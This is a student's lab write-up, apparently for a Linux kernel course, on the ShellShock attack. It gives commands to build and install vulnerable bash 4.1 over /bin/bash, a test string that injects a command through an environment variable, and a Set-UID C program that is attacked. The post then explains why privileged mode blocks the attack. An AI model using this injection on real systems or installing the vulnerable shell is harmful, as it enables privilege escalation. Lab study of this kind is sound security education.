zoukankan      html  css  js  c++  java
  • 2017-2018-1 20179226《Linux内核原理与分析》第十二周作业

    ShellShock 攻击实验

    1.进行实验所需的准备
    1)下载:

    sudo su 
    $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    

    2)安装:

    $ tar xf bash-4.1.tar.gz
    $ cd bash-4.1
    $ ./configure
    $ make & make install
    

    3)链接:

    $ rm /bin/bash
    $ ln -s /usr/local/bin/bash /bin/bash
    

    4)检测是否存在shellshock漏洞:
    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
    以下是实验截图:

    2.攻击Set-UID程序:
    1)hack过程指令如下:

    $ sudo ln -sf /bin/bash /bin/sh
    $ touch shock.c
    $ vim shock.v
    $ sudo su
    

    2)其中shock.c中代码如下:

    #include <stdio.h>
    void main()
    {
        setuid(geteuid()); 
        system("/bin/ls -l");
    }
    

    3)执行后结果如下:

    4)如果setuid(geteuid()) 语句被去掉了,再次执行,结果则攻击失败:

    就是因为上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。对比两次攻击结果,思考是什么导致的攻击结果的改变呢?这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个uid不同的话,环境变量失效,就无法发动攻击了。

  • 相关阅读:
    android作业10.21
    安卓10.7作业
    安卓9.30
    9.23作业
    9.17安卓作业
    6.12作业
    5.29作业
    5.28上机作业
    leetcode 219
    策略模式
  • 原文地址:https://www.cnblogs.com/9226ryf/p/8028482.html
Copyright © 2011-2022 走看看